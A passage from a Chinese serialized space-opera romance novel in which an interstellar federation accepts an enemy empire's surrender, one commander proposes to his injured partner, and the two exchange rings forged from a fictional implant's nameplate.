没人能预料得到，那个小时候天真狡黠、极爱撒娇的漂亮小朋友，竟然会在十六年后成为联邦历史上最年轻的上将，德瓦帝国最大的眼中钉。 当年的利切尔当然也想不到。 他前脚注视着破晓号在启动自毁程序后化为了碎屑，后脚就给当时年仅十六岁的闻铮打了几十个通讯，在那个瞬间，他确实担心这个也算是被自己看着长大的孩子想不开。 德瓦哨兵亲情淡薄，奥克斯·奴瓦辛戈虽然是他的儿子，但他们之间的联系似乎只有权力、利益与荣誉。闻铮似乎真的在某种程度上弥补了他对于孩子的期待和爱。 在拨打那几十个通讯的时间里，利切尔想，把十六岁的闻铮带回德瓦帝国也不是一件太难的事，只要把他的基因转化成德瓦人，他还是能陪在自己身旁的。 只是他再也没有得到闻铮的音讯，直到十六年后，第三军团之刃横空出世，德瓦帝国在第二次星际战争的西翼战场节节败退！ 阿维尔·斯坦科夫对第三帝国之刃恨得牙痒痒，利切尔却想，他早该猜到，闻铮就是一柄尚未开刃的利剑，只是那层剑身上的保护膜，竟是被他亲手强行擦去的。 而如今，他就这样隔着屏幕看着自己，眼神冰冷到毫无温度，和他记忆里那个爱笑爱撒娇也爱使坏的小朋友，已经没了半分重合。 阿维尔·斯坦科夫想，也许如果他当时没有选择对闻衍之和沈亦映动手，也就不会有后来的第三军团之刃，更不会有今日德瓦母星的威胁和德瓦帝国的惨败。 这是命运的既定吗？还是宇宙的规则呢？ 阿维尔·斯坦科夫麻木地想，也许都是吧，也许他也没有答案。 他抬起双眼，苍老阴鸷的眼底却没有了方才一直澎湃着的愤怒和野心，只是平静的宛如一汪死水。 “阿维尔·斯坦科夫，谨代表德瓦帝国，宣布无条件投降。” …… 阿维尔·斯坦科夫宣布投降！ 德瓦帝国宣布投降！ 这个消息立刻传遍了洛河星系的所有联邦战舰，闻铮也示意悬空号的通讯副官立刻同步给了联邦星际舰队总部和艾德莱斯五星上将！ 第三次星际战争，结束了。 在德瓦帝国幕僚长宣布投降以后，联邦军部对德瓦哨兵5军和7军的包围却没有丝毫放松，面对他的质问，第三军团之刃只是平静地回应：“联邦军部接受你方的投降，但不代表联邦没有任何条件。” 而联邦的条件，则是一张名单。 上面是所有德瓦哨兵一级战犯的名字。 阿维尔·斯坦科夫和奥克斯·奴瓦辛戈赫然列于榜首。 德瓦哨兵大元帅已经被联邦逮捕，闻上将代表联邦军部发表讲话，如果德瓦帝国不将以德瓦帝国幕僚长阿维尔·斯坦科夫为首的所有一级战犯交由联邦审判，则联邦不接受德瓦帝国的投降声明。 如果联邦不接受，那么德瓦母星就危在旦夕。 联邦五星上将艾德莱斯和联邦主席前往了魁斗中立区进行谈判，同样前往的还有神秘的德瓦皇帝。 而对峙在洛河星系和东翼战场的联邦军队，终于能短暂地松一口气。 关掉通讯的下一秒，闻铮也攥紧了扶手，急促地呼出了一口气。 其实虚张声势的人，一直都是他们自己。 “……裴舰长，”闻铮低声问，“你最后在德瓦母星地核内注入了多少克的’Annihilation’？” 根据他们所掌握的信息，段家提取的’Annihilation’其实并不多，根本没办法彻底毁灭两颗星球！ 西斯星的毁灭是实打实的，而德瓦母星中’Annihilation’的克重，绝对不足以毁灭一整颗星球！ 只是他没有得到裴简珩的回答。 就在一瞬间，闻铮的心头仿佛被人用手狠狠攥紧一般的剧痛，他似有所感地转身，只见他的Alpha合上了那双湛蓝色的眼睛，竟一言不发地倒在了舰桥上！ “简珩！！！” 闻铮耳中轰鸣，大脑一片空白，他猛地冲过去接住了裴简珩马上要滑落地上的身体，什么避嫌、伪装……统统都抛到了脑后，一向低沉沙哑的嗓音此时却近乎破音：“医疗官——赫尔！赫尔！！” 裴简珩在坠入无边的黑暗之前，撑着仅剩的最后一丝清醒和力气，轻轻握住了闻铮的手。 一切都结束了。 闻哥…… 闻哥。 …… 距离阿维尔·斯坦科夫代表德瓦帝国宣布无条件投降以后已经过去了五天。 在这五天的时间里，德瓦帝国和联邦的现任话事人在魁斗中立区谈判的你来我往，联邦掌握着信息不对称带来的短暂上风，牟着劲要赶紧推进停战与投降协议的签订，迟则生变，如果德瓦帝国查到了渗入地核的’Annihilation’的克重并不足以毁灭一整颗星球，局势很有可能会再次发生变化。 魁斗中立区忙得不可开交，洛河星系和东翼战场却正值短暂的平静。 在德瓦帝国投降后的第一天内，闻铮不眠不休做好了总布防和总战略规划，他把临时指挥权交给了凯利斯大副，自己却钻进了医疗舱，一呆就是四天。 他就坐在病床前，陪着自己躺在床上的爱人。 “闻，你别太担心。”悬空号新任首席医疗官轻声宽慰，“裴简珩没什么大事，虽然伤的不算轻，但程迹和我简单聊了一下，我们合作调整了对他的治疗方案，他现在只是在休息。” 闻铮嗯了一声，没再说别的。 他坐在病床旁的一个扶手椅上，面前还有一块悬浮屏，显然一边陪着裴简珩，一边也还在工作。 赫尔看了他，又看了裴简珩一眼，似乎欲言又止，还是什么也没说地关门出去了。 不过赫尔刚刚说到程迹…… 怎么处理他也是一个问题。 闻铮理直气壮地打算把这个棘手的问题丢给裴简珩去处理。 他把目光从悬浮屏移到了裴简珩的脸上，柔情万千的眼神从Alpha的眼睛一路缱绻蜿蜒而下。 闻铮伸手轻轻抚过他的脸侧，心里五味交杂。 作为1215的少将统领，联邦最高战力的基因改造战士，五星上将的儿子，第三次星际战争所有最艰难、最危险的任务都交给了他。 而现在，他躺在这里，虽然还没有苏醒，但已经是全须全尾地回到自己身边，就已经是万幸中的万幸了。 闻铮把悬浮屏划拉到一边，闭着眼俯身轻轻吻上了裴简珩的额际。 “……快点醒来吧，简珩，我好想你，我太想你了。” 他轻如鸿毛的吻从裴简珩的额际滑到紧闭的眼皮，又滑到他高挺的鼻梁，最终落在了他的双唇上。 随着柔软的唇瓣一同落上去的，还有微咸的湿意。 闻铮直起身子，他的嘴唇拉开了和裴简珩唇瓣的距离，唇上却蓦地传来了被贴近的暖意！ 他心神一震，猛地睁开了眼睛！ 那汪湛蓝色的海洋就这样将他包裹住，眼底的笑意、爱意、思念、怜惜……种种种种，根本无法再承载，悉数倾斜而出。 “闻哥……闻铮……” 裴简珩沉睡了五天，声音嘶哑嘲哳，听在闻铮耳中就宛如圣乐，让他险些又落下泪来！ 他颤抖着手抚上裴简珩的脸：“你……你终于醒了，简珩……” “嗯，我醒了。” 裴简珩弯起眼睛，低声去哄他：“我听见了你的声音，我怎么会舍得不回到你身边。” 闻铮垂眼看着他，墨色深空和湛蓝海洋在瞬间交汇，再也无法自控。 这么多年渗入骨髓的恨、颠沛与挣扎、痛苦与沉浮，都在爱人的一吻中，就此释怀。 第184章 求婚 “所以, 现在那边还没有达成最终的投降条款？” 裴简珩半坐了起来，倚着床头，脸色还有点苍白, 但赫尔来给他检查过了, 身体已经没有什么大碍，再修养半个月就好了。 闻铮坐在病床旁边的扶手椅上, 递给他一杯热水：“嗯，不过应该快了, 艾德莱斯昨天晚上大半夜还在联系我，和我确认最后的战犯名单。” 裴简珩松了口气。 “德瓦帝国手里没有什么筹码, ”闻铮注视着Alpha的脸，声音很温柔, “估计就这两天, 正式的协议就会签订, 一切都会结束, 起码……在这几十年里。” 他转而问起了那个没有被回答的问题：“简珩, 最后你在德瓦母星注入了多少克重的’Annihilation’？” “段家一共只有500g的’Annihilation’，”裴简珩回想自己从玛特-Z1上面拿到的毁灭物质, “为了证明、震慑、以及削弱德瓦帝国的实力，西斯星的毁灭需要至少300g, 所以德瓦母星只剩下了200g。” “200g确实不足以完全毁灭德瓦母星，”闻铮颔首，“希望这种信息不对称能够永远持续下去，投鼠忌器，我们才能获得更久的和平。” “西斯星已经毁灭，德瓦帝国失去了锂导矿最大的供给来源，他们的空间迁跃、长频通讯都会受到极大的遏制。”裴简珩说, “在他们发现新的资源星之前，可是要消停好一阵子了。” 闻铮笑了一下，他伸手过去和裴简珩十指紧扣：“十个小时的时间，你居然能注入两颗星球，还是我小看你了。” “怎么可能，”裴简珩笑，“就算我是基因改造战士，我也做不到。西斯星的’Annihilation’是特娜伦带人去注入的。” 闻铮一怔：“特娜伦？她怎么和你碰到一块了，又居然能潜入西斯星？” 他的闻哥，演技还挺好。 裴简珩微微眯眼，如果不是特娜伦被他逼问出来了，从闻铮的表情看，真是一点都发现不了是他在背后推动这一切。 也不是，细看之下，还是能发现那双漆黑眼底的一丝闪烁。 裴简珩觉得努力假装不知道的闻铮这样特别可爱，就也弯了弯眼睛陪他演：“嗯，路上无意中遇到的。魁斗人和德瓦人本来就有着共同的起源和几乎一模一样的基因序列，再加上程迹的帮忙，她进入西斯星非常顺利。” 这一切走向，闻铮都在奔赴洛河星系前就想好了。 他一直在想怎么才能阻止第三次星际大战，盘了盘手里的资源，发现只有利用段家，才能以最小的代价达成目的。 ’Annihilation’的存在，说不上是对是错，就看怎么用。 如果贸然毁灭整个德瓦母星和德瓦种族，这违反了联邦设立的所有原则和初心，联邦八大种族的联盟在不远的未来眼看就会瓦解，这对于整个联邦星系的发展都是毁灭性的打击。 但如果把’Annihilation’当做一个威胁性的武器，真理只在大炮射程之内，这句古老的人类语录非常正确，现在只不过是把大炮换成’Annihilation’罢了。 不过怎么让德瓦帝国相信他们真的有这种武器，并且完全可以在眨眼之间毁灭他们也是一个问题。 出发之前，闻铮在艾德莱斯五星上将面前拉开了悬浮屏，在德瓦星系之内的西斯星上点了点。 这颗星球是被德瓦帝国掠夺殖民而来，他们将西斯星的原住民屠杀殆尽，因为那里不适合德瓦人居住，于是他们只投放了采矿机器和一部分军队看管锂导矿，在没有锂导矿分布的地方，一片荒芜，连军队都没有。 几乎没有除德瓦哨兵之外的生命体，又是一颗对于德瓦帝国来说非常重要的资源星之一，还有比西斯星更适合用来杀鸡儆猴的行星吗？ 闻铮把作战方案提议给了艾德莱斯，同步也盘点了自己和联邦手里可用的资源，艾德莱斯沉吟了半个小时，方才缓缓道：“很剑走偏锋的策略，风险很高，但同样收益也很大。” 他看着眼前的闻铮，无论是现在，还是三年前，闻铮一直都是那个当之无愧的第三军团之刃。 “提议通过，”艾德莱斯沉声道，“明天我会先和联邦主席同步。” 于是第二天，第二军团、第三军团、1215……所有联邦星舰军队能动用的资源，悉数出动。 第二军团前往东翼战场牵制住奥克斯·奴瓦辛戈及哨兵1军与3军，闻铮领着第三军团前往南边迎战阿维尔·斯坦科夫，在他们的掩护下，裴简珩率领1215先去北边的玛特星系找到’Annihilation’，再暗中前往德瓦母星和西斯星，将西斯星作为第一毁灭对象。 只要德瓦皇室和德瓦哨兵看到了西斯星的毁灭，按照他们对德瓦母星的必需程度，为了保护母星，德瓦帝国一定会投降。 ——暂时的。 就像第二次星际战争结束后，也就不到四年的时间，德瓦哨兵这么快又掀起了第三次星际战争。如果他们发现了’Annihilation’的剂量并不足以彻底毁灭德瓦母星，他们的心思一定会再次活络起来。 但就像裴简珩说的，现在的德瓦帝国已经失去了西斯星这个最大的锂导矿资源星，就算他们心思再如何活络，没有资源就是硬伤！ 至少一百年内，除非他们走狗屎运发现了另一颗资源星，否则现阶段他们的锂导矿来源根本不足以支撑他们进行大规模对外侵略！ 这片宇宙，终于迎来了未来百年间的和平。 至于一百年后……谁又知道呢。 裴简珩攥紧了闻铮的手，声音沙哑：“闻哥……” 闻铮抬眼看向他，轻轻嗯了一声。 “闻哥。” “嗯。” “闻哥……” “……嗯。” “闻——” 闻铮伸手捏住了他的双唇，不让他再没完没了地叫自己。 闻上将的耐心，也就到这儿了。 裴简珩的上下双唇被捏在闻铮两指之间，他那双湛蓝色的眼睛却无辜地看着他，带了几分撒娇，和万分的爱。 闻铮被他的眼神看的心底柔软成一汪水，对自己年轻的爱人一点办法都没有，凑过去轻轻亲了亲他的眼皮，低声道：“如无意外，三天后我们就会启程回首都星。” 艾德莱斯昨天半夜和他确认名单的时候顺嘴提了一句，今天应该就会签订协议，让他做好回程准备。 裴简珩点点头，他似乎有些欲言又止，肢体语言和微表情也变得有些许焦躁，虽然掩饰得很好，但闻铮还是看出来了。 他眯了眯眼：“裴简珩，你有什么事瞒着我？” 闻铮每次一叫他全名，裴简珩下意识就想站直了敬礼，这种反应就像巴甫洛夫的狗，让裴简珩一时之间很难改过来。 裴少将那张苍白的脸上蓦地飘上了一丝微红，他似乎做了半天的心理准备才下定决心，右手强势地叉进了闻铮的五指里，与他掌心相对。 闻铮的视线落在紧紧贴着的手心，又抬起眼看他，心里有什么预感一闪而过，让他一瞬间心跳都踏错一拍。 “我知道这里不是什么合适的场景，闻哥，你——你可以拒绝我，虽然我会很伤心，但……但你可以拒绝我。” 裴简珩微微仰视着闻铮，那双湛蓝色的眼睛湿漉漉的，像一只可怜巴巴的大狗，似乎闻铮如果真的拒绝了他，下一秒他就会伤心地死掉。 “闻铮，你愿意和我结婚吗？” 他的声音都在颤抖，无论是面对段洄、奥克斯·奴瓦辛戈还是喷发的火山都没有丝毫波动的声线，现在却抖得吓人。 病房里一片寂静。 闻铮微垂着眼，鸦羽般漆黑纤长的羽睫挡住了他的眼睛，让裴简珩根本看不到他的神色，这让他内心七上八下，恨不得立刻狂摇闻铮肩膀威逼撒娇求他点头。 “我不会泄露你的身份，”裴简珩又说，一颗心就悬在嗓子眼，似乎有一万只蝴蝶在他的胃里扇动翅膀，让他说话吐字都很艰难，但再难他也要说，“整个宇宙里只会有我一个人知道你是Omega，两个Alpha结婚虽然没有那么常见，但也合法——” “我愿意。” 闻铮温柔地打断了他的话，只三个字就让裴简珩没说口的话像被掐断了一样胎死喉中，只能瞪大眼睛愣愣地看着闻铮，根本没反应过来！ 半晌，他才恍若醒了一般：“真、真的？！” 刀里来火里去的基因改造战士，此刻说话都结巴了。 闻铮看着他这个蠢样子，忍不住笑：“真的。” 裴简珩立马从床头弹射起来，猛地把闻铮抱了个满怀，下一秒就闷哼一声，怀里带着自己的Omega倒回了病床上，还疼得倒吸了一口气。 闻铮：“……” 他低声骂了一句傻不傻，望向自己爱人的笑容却温柔到不可思议。 终于……终于—— 作者有话说：小剧场： 小裴：个宇宙里只会有我一个人知道你是Omega！ 赫尔：？嗨害嗨？ 第185章 荣誉 星历4012年12月29日, 德瓦帝国宣布无条件投降。 星历4012年12月31日，德瓦帝国与星际联邦签署《百年和平公约》，并将联邦名单上的37名一级战犯交由星际联邦军事法庭审判, 前德瓦帝国幕僚长阿维尔·斯坦科夫与前德瓦帝国大元帅奥克斯·奴瓦辛戈赫然在列。 星历4012年12月31日, 第三次星际战争结束，联邦民众弹冠相庆, 已知宇宙间迎来了自此伊始的百年和平。 …… 联邦，首都星, 星际联邦军事总部 156楼是整个首都星最高的建筑层级，而星际联邦军事总部的最高会议室就设立在这里, 只有九个人才有权力踏足。 瘦削修长的人影推开了会议室的门，而房间内的上将们在看到来人的脸后都安静了一瞬。 随后, 莱克尔人微笑起来：“闻上将, 欢迎回来。” 闻铮对他颔首：“也很高兴见到你, 瑞德上将。” 以悬空号为首的第三军团刚刚落地首都星太空港, 他就直接赶过来开了这场最高会议, 虽然他也完全可以通过全息投影的方式参加，但这是战后的第一次最高会议。 闻铮的政治嗅觉很灵敏, 他知道，热战虽然结束了, 政治战争却刚刚开始。而战后的第一次最高会议，能够左右很多事情的发展，所以他必须线下亲自来参加。 很显然，其他种族的代表都是这么想的，因为全部八位四星上将都亲自出现在了这间会议室里。 ——不对，七位。 段和华已经不在这间会议室里了，他此刻正在联邦军部关押处。 闻铮扫了一眼出席的人员, 目光在段和华曾经的席位上停留一秒，又不着痕迹地移开了。 他身旁的瑞德上将凑过来：“还没恭喜你，一切都按照你的策略进行了，闻上将，你可是又一次拯救了联邦啊。” 闻铮才刚刚三十四岁，却已经是两次星际战争的战争英雄了，仕途简直光明到宛如宇宙大爆炸。 闻铮只是笑笑：“说笑了，瑞德上将，东翼战场至关重要，没有您在那边撑着，我们怎么可能这么快取得胜利。” 瑞德上将弯了弯眼睛，没再说什么，因为这个时候，艾德莱斯五星上将推门进来了。 他落座在主位，目光扫过房间内的七位四星上将，目光同样在段和华的空位上停滞了一秒。 “感谢诸君为了保卫联邦和人民做出的贡献与牺牲。”艾德莱斯缓缓站起，“请允许我代表联邦向诸君麾下牺牲的将士投以最崇高的敬意。” 七位四星上将都站了起来，垂首行礼，静默在房间内无声地弥漫。 等到再次坐下来的时候，艾德莱斯才开始宣布本次最高会议的内容，一共三项，分别是对德瓦帝国战犯的处置、对段和华与段洄的处置、以及对本次战争有突出贡献的军官荣誉处理。 第一项倒是没什么可过多讨论的，德瓦帝国战犯会交由联邦军事法庭审判。联邦军事法庭是由联邦八大种族和二十一个中等规模种族代表组成的审判团和陪审团，对于德瓦帝国战犯的审判不会有什么疑问。 第二项，让这个原本预约了两个小时的最高会议，还超时了十五分钟。 科拓斯上将代表了一派观点，她主张段和华和段洄的行为确实引发了第三次星际战争，虽然战争很快就结束了，但依然造成了不可衡量的伤亡。 而克林特上将却辩证认为，根据联邦目前查到的情报和证据，就算段洄没有在7号星发表追责讲话，奥克斯·奴瓦辛戈和阿维尔·斯坦科夫也必定会宣战，第三次星际战争本就无法避免！ 瑞德上将一向两不沾，他示意自己还没想好，暂时不参与发表意见。 于是以科拓斯上将和克林特上将为首的两方上将们开始了激烈的争论，这帮四星上将吵起架来也挺要命，不止聒噪，而且绵里藏针，阴阳怪气。 全程，闻铮一言不发。 艾德莱斯五星上将的目光越过正吵得你来我往的两方落在了闻铮身上，缓缓道：“闻上将，你的意见呢？” 会议室内争执的声音瞬间戛然而止。 所有人的目光都和艾德莱斯一样落在了闻铮那张瘦削秾艳的脸上。 在场的人都心知肚明，如果没有闻铮拿回来的那些情报和信息，如果不是闻铮提议的这个唯一可行的策略，这场战争根本不可能这么早结束！ 所以在隐隐之下，年仅三十四岁的闻铮，竟然成为了这个会议室里，除了艾德莱斯以外话语权最高的一个人。 而这位势不可挡的闻上将就坐在长桌的最尾端，面色白皙如玉，两颊瘦削，那双漆黑眼睛却宛如黑夜星火，莹莹不灭。 见所有人的目光都朝自己看来，闻铮却没有丝毫慌乱，他只是抬眼看去，淡淡道：“古地球人类有一句话，叫论迹不论心，我深以为然。” 无论段和华、段洄和程迹到底出于什么心理和目的搞出来的’Annihilation’，它确实成为了结束第三次星际战争的关键，也带来了持续百年的真正和平，否则一旦德瓦帝国出其不意宣战，联邦的死伤只会以天文数字的倍数增加！ 但另一个角度来看，段家也确实引起了很多的伤亡和牺牲，那场栽赃给奥克斯·奴瓦辛戈的爆炸，7号星所有高层军官几乎全军覆没，战争开始后死在双方交战硝烟中的将士们…… 功有多少？ 过有多少？ 也许分开来算，总比在这里吵来吵去来得清楚。 吵到最后也没有一个定论，但依照闻铮对艾德莱斯的了解，他心里一定已经有了打算。 而到了第三项，对本次战争有突出贡献的军官荣誉处理一事，这会议室里又从激烈争论变得鸦雀无声。 作为本次战争最大的战争英雄，闻铮已经升无可升了，除了给他一些不痛不痒的功勋叠加以外，还能怎样？ 不然呢，把艾德莱斯五星上将顶下来吗？ 别说其他6位五星上将，就连艾德莱斯自己，都没想好到底还能给闻铮怎样的荣誉与功勋。 可闻铮早已经想好了他要什么。 只是他最关心的，并不是自己。 “既然提到了突出贡献，”闻铮出声，他的声音平稳无波，“我想先分享洛河星系战场的情况。我这里有一份名单，上面详细记录了在南边洛河星系主战场为此次战争做出突出贡献的军官，包括但不限于洛河星系护卫军、7号星临时代理星长及其顾问、悬空号首席通讯官等人。” 他把名单显示在悬浮屏上，眨眼间就投送到在场每个上将的通讯里：“我已经在每位军官的信息后附上了晋升与荣誉建议，仅供参考。” 闻铮说的是仅供参考，但这个房间里的人都清楚，这基本上就是最后决定。 艾德莱斯作为五星上将，不会仔细去看这些中低层军官的详细信息和晋升荣誉建议的，他只要点头签字就行了。 “在此之后，我想重点提到一个人。” 闻铮坐直了身体，脊背挺直，双手交叉在面前的桌子上，一字一句：“联邦星舰军部中校，裴简珩。” 瑞德上将一怔，他下意识地朝坐在主位的艾德莱斯看去，后者的眉心也是一跳。 “或者说，1215的现任统领，裴简珩少将。” 闻铮也不再避讳，在座的这些人都清楚裴简珩的身份，他此前不知道是因为涉及到那场营救行动被强行封锁了记忆，所以此刻也没有什么藏着掖着的必要。 “裴简珩少将承担了此次战争中最危险的任务，从抢夺’Annihilation’到深入德瓦母星，再到孤舰对抗整个德瓦基因改造哨兵机甲大军，甚至说服联合了魁斗星盗，圆满完成任务，不曾让一个德瓦哨兵越过边界，更是成为推动第三次星际战争结束的最关键人物。” 闻铮沉声道来，其实这些事大家都知道，有的时候只是需要一个人开个头点出来而已。 科拓斯上将挑眉：“裴少将为联邦做出的贡献当然至关重要，我想我们确实需要好好讨论一番。” 她是艾尔文种族的代表，她很清楚，一直以来，联邦的八大上将都代表了联邦的八大种族，在克米恩人覆灭之前，还有一位克米恩上将。 那位克米恩上将牺牲在了保卫自己母星的克米恩大屠杀之中，八位上将空出一席，随后第三军团之刃横空出世，破格被擢升为上将，联邦第一次出现两名人类四星上将，分别是段和华与闻铮。 而现在，即使对于段家的处置还没有达成一致，但可以确定的事，段和华必定不会再位列四星上将，又空了一席。 闻铮在战后第一次最高会议上特意点出了裴简珩的贡献，难道他是想…… 科拓斯上将朝闻铮看去，果然，这位第三军团之刃垂着眼扫过了那空出的上将席位，唇边带着未达眼底的笑意，眼底却是志在必得的决心—— 作者有话说：年上闻哥的魅力[撒花] 第186章 婚戒 原本两个小时的最高会议, 这帮上将们开了四个半小时。 等到最后踏出会议室大门的时候，所有人脸上都写着疲惫两个字，精神都有些恍惚。 除了闻铮。 闻上将依然面无表情, 脸色如常, 虽然出了军部大楼就直奔两个街区外的咖啡店这种行径还是透露出他也多少有点累了。 咖啡店开在这里很久了，有着很大的落地窗和香浓的咖啡香气, 还夹杂着烤肉桂的香气，确实会让人感受到幸福和平静。 闻铮坐在窗边, 咖啡店里每个人脸色都带着笑，街道上人来人往, 没有了战争的阴影笼罩，所有人脸上都是一派轻松。 生活中的种种不如意, 在战争与死亡面前都不值一提。回过头来再去看, 也纷纷都能一笑而过了。 闻铮伸手去拿桌上的咖啡杯, 下一刻对面原本的空位子却多了一个人。 “这么多年过去, 你还是最喜欢这家的咖啡。” 熟悉的声音响起, 闻铮看了过去，小小地翘起了唇角：“嗯, 喝什么，我请你。” 艾德莱斯五星上将在他对面坐下, 两个人都换了个外套，把挂着一堆荣誉勋章和肩穗的军服外套脱下，仿佛只是一对好友，在战争结束后的和平日子里喝杯热咖啡。 虽然他们的关系，现在不只是好友了。 “为什么要这么做？”艾德莱斯坐在他对面，那双和裴简珩一模一样的湛蓝色眼睛紧紧地凝视着闻铮，“为什么要为了简珩做到这个地步？” “我不是’为了他’做的这些, ”闻铮却只是很平静地回答，“这些年来、这场战争里，他为联邦做了那么多事，付出了那么多，这是他应得的。” “他的军衔晋升我不想说什么，但职位——”艾德莱斯皱起眉，“你为什么一定要离开？” 闻铮给艾德莱斯点的拿铁被店员送了上来，他低声道谢后推给了艾德莱斯：“尝尝。” 艾德莱斯拿起咖啡喝了一口，也算是食不知味，毕竟闻铮还没有给他一个答案。 “我好像从来都没有和你说过，我从小的梦想是什么。” 闻铮却转而提起了一个其他的话题，让艾德莱斯一怔：“什么？” 闻铮垂眼笑了一下，不带任何嘲讽之意，只是很纯然的笑：“我从小唯一的梦想，就是可以有一艘科考舰，有一帮厉害的舰员和朋友，可以带着他们一起去探索无边无际的宇宙。” 这个梦想，除了沈亦映和闻衡之，闻铮就只和裴简珩提过，在魁斗星那片很美的海边，在夕阳的余晖照耀之下。 只是自从16岁以后，这个梦想就不得不沉默地被掩埋了。 而如今，似乎又有了可以被重启的希望。 这么多年，闻铮一直背着国仇家恨，一刻都不曾放松，而当一切都尘埃落定之时，或许也到了他重新找回十六岁梦想的时候。 “以及，我还想最后再做一件事。”闻铮深吸一口气，温和又不容拒绝地看向艾德莱斯，“我不想突兀地毁了联邦军部的对外发布会，所以我也想提前和您打声招呼。” 艾德莱斯端着咖啡的动作一顿。 下一秒，他们这桌周围的三个桌子的人都听到了一声浑厚的——“你说什么？！！” 此时此刻，闻铮非常庆幸他们都换下了上将军装，不然这脸都不够丢的。 …… 首都星的黑夜很短，当夜幕真正地笼罩下来，这颗繁华的星球仿佛又转入了另一种不同的世界。 战争期间很多临时停业的酒吧、夜店等娱乐场所，在战争结束后又热热闹闹地开张，心里放下了大事的联邦人民也终于能毫无负担地玩乐，半夜十一点的首都星内环堵得水泄不通。 上将的司机都是配备的中尉，他恭敬地问：“闻上将，前方地面还要堵二十分钟，申请走空中路线。” 闻铮最后看了一眼窗外的灯红酒绿，脸上的神色很温和，轻声道：“批准。” 下一秒，军用悬浮车旱地拔葱直飞高空，给旁边的其他悬浮车都吓了一跳。 高空路段不但畅通，而且极快，只是五分钟，闻铮就已经到达自己公寓的电梯上了。 在他打开门的一瞬间，饭菜的香气又一次扑进了他的鼻子里。 闻铮下意识地就笑了，怎么感觉自己每次回家，裴简珩都像他养在家里的小情人一样做好饭菜乖乖等着，实在是让他心都软成一汪水。 小情人听见开门声就从厨房冲到了玄关，湛蓝色的眼睛亮晶晶的，不管不顾地先扑了上去，把心心念念的闻哥抱了个满怀！ “好了好了，”闻铮对自己年轻的爱人实在是一点办法都没有，由着他像一条大狗一样从额际亲到颈窝，推是舍不得推开，只能轻轻在他唇上咬一口，“你怎么这就下厨房了？” 昨天赫尔才批准他出院，今天就闲不住了。 “我真的没什么事了，”裴简珩最后又亲了他一口，撒娇，“想给你做饭吃，你比之前又瘦了好多。” “……没有吧。”闻铮漫不经心地说，带着身上粘着的大型狗挂件挪到客厅里，心里跑神地想，自从自己答应他的求婚以后，裴简珩终于对他不说敬语了。 裴简珩伸手掐了一把闻铮的腰间，都硌手。 闻铮斜睨他一眼：“行了，今天艾德莱斯还说明天让我们过去吃饭，一回来就直接送进病房，还不允许非军官探视，裴又青很惦念你。” 裴又青也没有之前那么别扭了，看来艾德莱斯家大少爷霍曼没少做心理建设，裴又青联系闻铮的时候，闻铮是真的还挺惊讶的。 裴又青不是军官，没办法去看裴简珩，艾德莱斯又忙的不着家，他想了想也只能联系闻铮了。 闻铮倒是温言安慰了他，裴简珩确实伤得不算重，还有源代码在中间调和，更是不会有生命危险，裴又青这才真的松了口气。 就在闻铮准备挂掉通讯的时候，裴又青沉默了一会儿才又道：“闻上将，等战后的事情处理的差不多了，和阿珩一起回家住一段时间吧？” 闻铮怔住。 他都不记得自己什么时候答应的，等他反应过来的时候，通讯已经挂断了好一会儿，而他一直还在发愣。 想到这儿，他的脸上又荡开了丝丝缕缕的笑意，梨涡也越发俊俏好看。 一切都在变好，从十六岁之后，他好像也终于有了新的家人。 “怎么在出神？” 裴简珩在他脸上啄了一下，又啄了一下：“不许出神了，该吃饭了。” 闻铮回过神来，看着面前裴简珩那张俊朗的脸，灿然一笑：“好。” 裴简珩又打开了一瓶很好的白葡萄酒，和闻铮互相碰了碰杯，感想万千，最后也只有一句：“……敬所有一切。” 闻铮也道：“敬所有一切。” 两人一饮而尽。 也就喝了三杯，裴简珩已经脸颊微红，他确实不太会喝酒，特别容易上脸。 他小心地拿出了一个精致的小盒子，推给闻铮。 闻铮注视着那个小盒子，他也不傻，猜到了这是什么。 “在医疗舱求婚的时候，我没有准备好戒指，但我早已经想好要用什么来做我们的婚戒了。” 裴简珩温柔地凝视着他，他本来就是一个很温和的人，现在看着自己此生最爱的爱人，简直温柔地要把人溺毙其中：“打开看看？” 闻铮伸手过去，轻轻打开了首饰盒的盖子。 里面是一对银色的素圈，比起婚戒来说稍显朴素了些，其中一只婚戒中心有一小粒蓝色的钻石，正在灯光照射下散发着夺人心魄的光辉。另一只婚戒的中心却镶嵌着一小粒黑钻，虽然是黑色，但不管是钻石的材质还是切割的工艺都十分顶尖，从不同的角度看去甚至闪耀着五彩的光。 裴简珩把那只镶嵌着最顶尖莫泊斯蓝钻的婚戒拿出来，伸手给闻铮。 闻铮低笑一声，把自己的手递给他。 裴简珩把婚戒给他套上，缓慢地、虔诚地、低头在他的无名指上落下珍而重之的一吻。 闻铮也温柔地看着那枚戒指，上面闪烁的蓝钻，美得就像裴简珩的眼睛。 他也从戒指盒中拿出了另一枚戒指，轻柔地给裴简珩套上，那粒黑钻正在安静地闪耀着火彩。 闻铮轻声问：“这个素圈的材质好像很特别。” 裴简珩笑了笑：“这是源代码的金属铭牌。” “？！” 闻言，闻铮瞪大了眼睛：“你把源代码融了？！” “嗯，”裴简珩起身走到闻铮身边，把他紧紧抱在怀里，在他耳边低喃，“我是唯一仅剩的基因改造战士了，我把源代码戴到你的手上，也把我完全交到你手里。” 恍惚间，闻铮只觉得无名指上都在微微发烫！ “你——” 闻铮张了张嘴，一时之间竟然不知道能说什么。 源代码关系着裴简珩的命，他竟然把这个东西双手捧给自己，用自己的生命来承载浪漫、忠贞、誓言和爱。 一颗心在胸腔里疯狂地跳动，几乎下一秒就要跳出这颗身体，咆哮着再冲进裴简珩的身体里，和他那颗心合二为一。 好像只有这样，才能抒发出闻铮对他的爱。 可事实上，两人就这样安静地注视着对方，千般情意万种爱意，最后都沉默地、缠绵地、难舍地付之一吻，在唇舌交缠之间，连泪水的咸涩都分不出是谁的，就这样你中有我，我中有你，直至宇宙尽头—— 作者有话说：下章正文完结[加油][加油][加油] 感谢宝贝们的一路支持，大家想看什么番外哇！《 》 新的旅程【完结章】 第187章 [完结章]新的旅程 三天后, 联邦星际军部召开对外发布会，将战争相关的情况对全联邦星系进行实况直播。 艾德莱斯五星上将作为军部最高上将，担任本次主要发言人, 他用了十分钟的时间发表了有关于战争的总讲话, 对在战争中逝去的生命表示尊敬和悼念，又宣布了和德瓦帝国最终达成的投降条件。 投降条件中最重要的有三项。 第一, 德瓦帝国无条件投降之后，和联邦签署了《百年互不干涉和平条约》, 双方以魁斗星为限，除非受到邀请, 否则绝不踏入对方领土半步。 第二，德瓦帝国自《百年互不干涉和平条约》生效即日起, 释放德瓦母星上所有艾尼默奴隶, 